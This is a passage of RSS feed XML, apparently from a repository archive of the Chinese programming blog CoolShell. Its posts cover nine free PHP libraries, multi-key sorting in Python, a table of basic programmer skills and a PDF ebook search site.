href=\"http://code.google.com/p/recaptcha/downloads/list?q=label:phplib-Latest\"><span style=\"color: #468175;\">下载 ReCAPTCHA</span></a> | <a href=\"http://recaptcha.net/api/getkey?app=php\"><span style=\"color: #468175;\">获取一个API Key</span></a> | <a href=\"http://recaptcha.net/plugins/php/\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<p><span id=\"more-455\"></span></p>\n<h3>2. Akismet</h3>\n<p><a href=\"http://akismet.com/\"><span style=\"color: #468175;\">Akismet</span></a> 是一个免费的服务项目，对于一些小型的网站它是完全免费的，对于一些大型的网址，他是部分免费的。这个库也是提供了处理一些和垃圾信息相关的功能。它主要通过比对自己数据库中已存在的被认定为垃圾的信息，而做出决定的。当然，数据库中的垃圾信息可能通过各个网站举报，大家供享的。这是一个每天都在更新，每天都在改进的库。许多许多的WordPress都装有这个库。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 455px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/akismet.jpg\" alt=\"Akismet\" /></div>\n<p><a href=\"http://net.tutsplus.com/tutorials/tools-and-tips/the-best-ways-to-fight-spam/\"><span style=\"color: #468175;\">实施Akismet</span></a></p>\n<h3>3. Services_JSON</h3>\n<p>JSON 是一个非常小巧敏捷的PHP库，它主要用于把一些数据格式转成易于人们阅读的格式。并不是所有的人都会喜欢PHP5 （因为自PHP5.20后其中已经集成了JSON），所以，这个小PHP库可以在低版本的PHP中让你得到 JSON 的功能。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 404px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/json.png\" alt=\"JSON\" /></div>\n<p><a href=\"http://pear.php.net/package/Services_JSON\"><span style=\"color: #468175;\">查看 Services_JSON</span></a></p>\n<h3>4. Smarty</h3>\n<p><a href=\"http://smarty.net/\"><span style=\"color: #468175;\">Smarty</span></a> 是一个网面模板引擎，它主要是把程序和界面分开。Smarty 提供了许多强大的功能，比如循环，变量，以及一个强大的缓存系统。这个库不是一个新库了，其已经发展了很多年了，虽然只有3个release版，但应该是比较成熟了。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 257px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/smarty.png\" alt=\"Smarty\" /></div>\n<p><a href=\"http://smarty.net/download.php\"><span style=\"color: #468175;\">下载 Smarty</span></a> | <a href=\"http://smarty.net/docs.php\"><span style=\"color: #468175;\">查看文档</span></a></p>\n<h3>5. pChart</h3>\n<p>这是一个强大的画统计图的PHP库，像一些饼图或是柱状图，<a href=\"http://pchart.sourceforge.net/index.php\"><span style=\"color: #468175;\">pChart</span></a> 还允许你通过SQL查询语句或是手动的输入数据来创建一个统计图。当然它需要GD库的支持以便创建图片。这个库一看就是有很多非常专业的美工设计过，因为它可以让你的统计图显示的相当漂亮。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 599px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/pchart.png\" alt=\"pChart\" /></div>\n<p><a href=\"http://pchart.sourceforge.net/download.php\"><span style=\"color: #468175;\">下载 pChart</span></a> | <a href=\"http://pchart.sourceforge.net/documentation.php\"><span style=\"color: #468175;\">相关文档</span></a> | <a href=\"http://pchart.sourceforge.net/demo.php\"><span style=\"color: #468175;\">查看演示</span></a></p>\n<h3>6. SimplePie</h3>\n<p><a href=\"http://simplepie.org/\"><span style=\"color: #468175;\">SimplePie</span></a>  允许你可以容易地 pull 一些信息，比如RSS feeds。它同样可以被集成于不同的平台和语言。并且可以通过很多不同的方法来处理远端的feed。</p>\n<p><img decoding=\"async\" style=\"width: 449px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/simplepie.png\" alt=\"SimplePie\" /></p>\n<p><a href=\"http://simplepie.org/downloads/\"><span style=\"color: #468175;\">下载 SimplePie</span></a> | <a href=\"http://simplepie.org/wiki/\"><span style=\"color: #468175;\">相关文档</span></a> | <a href=\"http://net.tutsplus.com/videos/screencasts/extending-simplepie-to-parse-unique-rss-feeds/\"><span style=\"color: #468175;\">Extending SimplePie to Parse Unique RSS Feeds</span></a></p>\n<h3>7. XML-RPC PHP</h3>\n<p>我们的应用程序有时需要一些类似于 &#8220;ping&#8221; 的功能去探测一下其它站点，如BLOG的 trackbacks。一般来说，这都是通过一个叫做XML-RPC的协议来完成的。<a href=\"http://phpxmlrpc.sourceforge.net/\"><span style=\"color: #468175;\">XML-RPC PHP</span></a> 库可以让你的站点集成这些功能。</p>\n<p><img decoding=\"async\" style=\"width: 231px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/xmlrpc.png\" alt=\"XML-RPC\" /></p>\n<p><a href=\"http://phpxmlrpc.sourceforge.net/#download\"><span style=\"color: #468175;\">下载 XML-RPC PHP</span></a> | <a href=\"http://phpxmlrpc.sourceforge.net/#interest\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<h3>8. Amazon S3</h3>\n<p>Amazon 提供了一个“云服务”叫&#8221;S3&#8243;. 这个PHP库可以让你不需要第三方的插件就可以上传大的文件。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 563px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/s3.png\" alt=\"Amazon S3\" /></div>\n<p><a href=\"http://amazon-s3-php-class.googlecode.com/files/s3-php5-curl_0.3.9.tar.gz\"><span style=\"color: #468175;\">下载 Amazon S3 PHP 类</span></a></p>\n<h3>9. PHPMailer</h3>\n<p>很多应用都需要对外发送邮件，但是PHP的mail() 函数并不是特别好用。于是 PHPMailer 应运而生，这是一个功能强大的类，其允许你发送不同格式的邮件，并支持附件和自定义邮件头。</p>\n<div class=\"tutorial_image\"><img decoding=\"async\" style=\"width: 245px;\" src=\"http://nettuts.s3.amazonaws.com/267_libraries/libs/mail.png\" alt=\"Sending Mail\" /></div>\n<p><a href=\"http://phpmailer.codeworxtech.com/index.php?pg=sf&amp;p=dl\"><span style=\"color: #468175;\">下载 PHPMailer</span></a> | <a href=\"http://phpmailer.codeworxtech.com/index.php?pg=tutorial\"><span style=\"color: #468175;\">相关文档</span></a></p>\n<p>文章：<a href=\"http://net.tutsplus.com/articles/web-roundups/9-extremely-useful-and-free-php-libraries/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"菜鸟学PHP之Smarty入门\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/559.html\" class=\"wp_rp_title\">菜鸟学PHP之Smarty入门</a></li><li ><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/03/Amazon-Web-Services-Down-150x150.png\" alt=\"AWS 的 S3 故障回顾和思考\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17737.html\" class=\"wp_rp_title\">AWS 的 S3 故障回顾和思考</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li><li ><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/08/Pagination-e1312791884744-150x150.jpg\" alt=\"PHP分页技术的代码和示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5160.html\" class=\"wp_rp_title\">PHP分页技术的代码和示例</a></li><li ><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/3.jpg\" alt=\"语言的数据亲和力\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4905.html\" class=\"wp_rp_title\">语言的数据亲和力</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/455.html\">9个强大免费的PHP库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/455.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>33</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-46.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 46 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=46\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Sun, 05 Jul 2009 14:14:41 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>Python中实现多属性排序</title>\n\t\t<link>https://coolshell.cn/articles/435.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/435.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Sun, 12 Apr 2009 01:33:43 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[排序]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=435</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们有一组记录: list_records = ( (department, name, salary), (department, name, salary)...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/435.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/435.html\">Python中实现多属性排序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们有一组记录:</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">list_records =\n(\n (department, name, salary),\n (department, name, salary),\n ...\n (department, name, salary)\n)</pre>\n<p>然后我们想进行类似 MS &#8211; Excel 里的 &#8220;then sort by&#8221; 中的功能一样先基于department排序，然后再在部门内按照salary排序。</p>\n<p>其他编程语言可能相对复杂，我这里写出一个用Python实现的最简方法（也许有比这个还短的，来挑战吧）</p>\n<p><span id=\"more-435\"></span></p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">list_records.sort(\n key = lambda l: (l[0], l[2])\n)</pre>\n<p>这个就是函数是编程的好处，可以无中生有的构造出一个没有名字的inline函数。假设我们有另外一个dictionary_age 是保存的 { name: ages }， 我们还可以简单的实现基于外部属性进行排序。例如，如果我们想先按照部门排序，然后在部门里按照年龄排序，我们可以写：</p>\n<pre data-enlighter-language=\"python\" class=\"EnlighterJSRAW\">list_record.sort(\n key = lambda l:( l[0], dictionary_age(l[1]) )\n)</pre>\n<p>如果需要降序排列，可以设置 revserse = True; 如果想基于两个属性，一个升序，一个降序，可以试试将其中一个构造一个外部规则，然后如同上例子中的dictionary_age一样传递进去。</p>\n<p>Done!<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/03/snake-hat-new-year-schedule-800x960-150x150.jpg\" alt=\"Python修饰器的函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11265.html\" class=\"wp_rp_title\">Python修饰器的函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/12/yoda-lambda-150x150.png\" alt=\"函数式编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10822.html\" class=\"wp_rp_title\">函数式编程</a></li><li ><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"类型的本质和函数式实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10169.html\" class=\"wp_rp_title\">类型的本质和函数式实现</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/435.html\">Python中实现多属性排序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/435.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>4</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员需要具备的基本技能</title>\n\t\t<link>https://coolshell.cn/articles/428.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/428.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 11 Apr 2009 08:57:44 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=428</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>软件开发是一个跨度很大的技术工作，在语言方面，有C，C++，Java，Ruby等等等等，在环境方面，又分嵌入式，桌面系统，企业级，WEB，基础系统，或是科学研究...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/428.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>软件开发是一个跨度很大的技术工作，在语言方面，有C，C++，Java，Ruby等等等等，在环境方面，又分嵌入式，桌面系统，企业级，WEB，基础系统，或是科学研究。但是，不管是什么的情况，总是有一些通用的基本职业技能。</p>\n<p>这些最基本的职业技能通常决定了一个程序员的级别，能否用好这些技能，直接关系到了程序员的职业生涯。很多程序新手也是因为缺少、达不到或是不熟悉在这些基本技能，所以，他们需要有老手带，需要努力补齐这些技能。而高级程序员应该非常熟悉这些基本技能，而且有能力胜任并带领其他经验不足的程序员。</p>\n<p>下面这些基本职业技术可以用来做为对一个程序员的评估，很明显，下面的这些技能都可以用来做面试。虽然，还有很多非技术的因素，但对于评估一个程序员的技术能力来说，其应该是足够的了。</p>\n<p>下面是程序员所应该具备的基本职业技能：</p>\n<p><span id=\"more-428\"></span></p>\n<table class=\"fancy\" border=\"0\" cellspacing=\"0\">\n<tbody>\n<tr>\n<th width=\"20%\">基本技能</th>\n<th width=\"80%\">技能描述</th>\n</tr>\n<tr>\n<td style=\"text-align: left;\">阅读代码</td>\n<td>这个技能需要程序员能够具备读懂已经存在的代码的能力，这样的能力可以让程序员分析程序的行为，了解程序，这样才能和开发团队一起工作，继承维护或是改进现有的程序。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">编写程序</td>\n<td>编写程序并不包括程序设计。不要以为编程是一件很简单的事情，很多程序员都认为编程只需要懂得程序语言的语法，并把设计实现就可以了。但是这离编写程序还远远不够，使用什么样的编码风格成为编写程序员最需要具备的基本技能。能否使用非常良好的编程风格直接决写了程序员的级别。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">软件设计</td>\n<td>这一能力直接决定了需要吏用什么样的代码技术达到怎么样的功能，而系统架构设计直接决定了软件的质量、性能和可维护性。并不是所有的程序在这一方面都非常优秀，但每个程序员都需要或多或少的明白和掌握这一基本技能。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">熟悉软件工程</td>\n<td>每个程序员都应该明白软件工程是什么东西，都应该知道，需求分析，设计，编码，测试，Release和维护这几个阶段。当然，几乎所有的人都知道这些东西，但并不是每个人都很清楚这些东西。现在很多高级程序员都会混淆“需求规格说明书FS”和“概要设计HLD”。另外，程序员还需要知道一些软件开发的方法论，比如：敏捷开发或瀑布模型。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用程序库或框架</td>\n<td>一个程序员需要学会使用已有的代码，无论是标论的程序库，或是第三方的，还是自己公司内部的，都需要学会做。比如：C++中，需要学会使用STL，MFC，ATL，BOOST，ACE，CPPUNIT等等。使用这些东西，可以让你的工作事半功倍。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">程序调试</td>\n<td>程序调试是分析BUG和解决问题最直接的能力。没有人能够保证程序写出来不用调试就可以运行正常，也没有人可以保证程序永远不会出BUG。所以，熟练使用调试器是一个程序员需要具备的基本技能。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用IDE</td>\n<td>学会使用IDE工具也会让你的工作事半功倍。比如，VC++，Emacs，Eclipse等等，并要知道这些IDE的长处和短处。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">使用版本控制</td>\n<td>一定要学会使用版本控制工具，什么叫mainline/trunk，什么叫tag，什么叫branch，怎么做patch，怎么merge代码，怎么reverse，怎么利用版本控制工具维护不同版本的软件。这是程序员需要明的的软件配置管理中最重要的一块。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">单元测试</td>\n<td>单元测试是每个程序都需要做的。很多单元测试也是需要编码的。一定要学会在xUnit框架下进行单元测试。比如JUnit, NUnit, CppUnit等等。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">重构代码</td>\n<td>每个程序员都需要有最基本的能力去重构目前已有的代码，使代码达到最优但却不能影响任何的已有的功能。有一本书叫《软件的重构》，每个程序员都应该读一下。</td>\n</tr>\n<tr>\n<td style=\"text-align: left;\">自动化编译</td>\n<td>程序员需要使用一个脚本，其能自动化编程所有的工程和代码，这样，整个开发团队可以不停地集成代码，自动化测试，自动化部署，以及使用一些工具进行静态代码分析或是自动化测试。</td>\n</tr>\n</tbody>\n</table>\n<p>当然，还有很多的基本技术也是非常重要的，比如，与人的沟通能力，语言的表达能力，写作能力，团队协作能力，适应变化的能力，时间管理能力，多任务处理能力，自我学习能力，故障处理能力，等等，等等，这里只是列举了和技术相关的能力，这些是程序最最最基本的能力，只要是程序员就必需要有的能力。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/428.html\">程序员需要具备的基本技能</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/428.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>62</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>PDF电子书搜索引擎</title>\n\t\t<link>https://coolshell.cn/articles/424.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/424.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 10 Apr 2009 10:09:24 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[PDF]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=424</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>这是一个PDF电子书的搜索引擎，可以搜索到很多PDF的图书，包括中文的。 http://search-pdf-books.com/ 简单的试了一下，的确很不错，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/424.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/424.html\">PDF电子书搜索引擎</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>这是一个PDF电子书的搜索引擎，可以搜索到很多PDF的图书，包括中文的。</p>\n<h4 style=\"text-align: center;\"><a href=\"http://search-pdf-books.com/\" target=\"_blank\"><img decoding=\"async\" src=\"http://search-pdf-books.com/i/m_11.png\" alt=\"PDF Book Search\" /><br />\nhttp://search-pdf-books.com/<br />\n</a></h4>\n<p>简单的试了一下，的确很不错，推荐给大家。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/309.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"十个最好的PDF生成库\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/309.html\" class=\"wp_rp_title\">十个最好的PDF生成库</a></li><li ><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"数据即代码：元驱动编程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10337.html\" class=\"wp_rp_title\">数据即代码：元驱动编程</a></li><li ><a href=\"https://coolshell.cn/articles/3649.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" 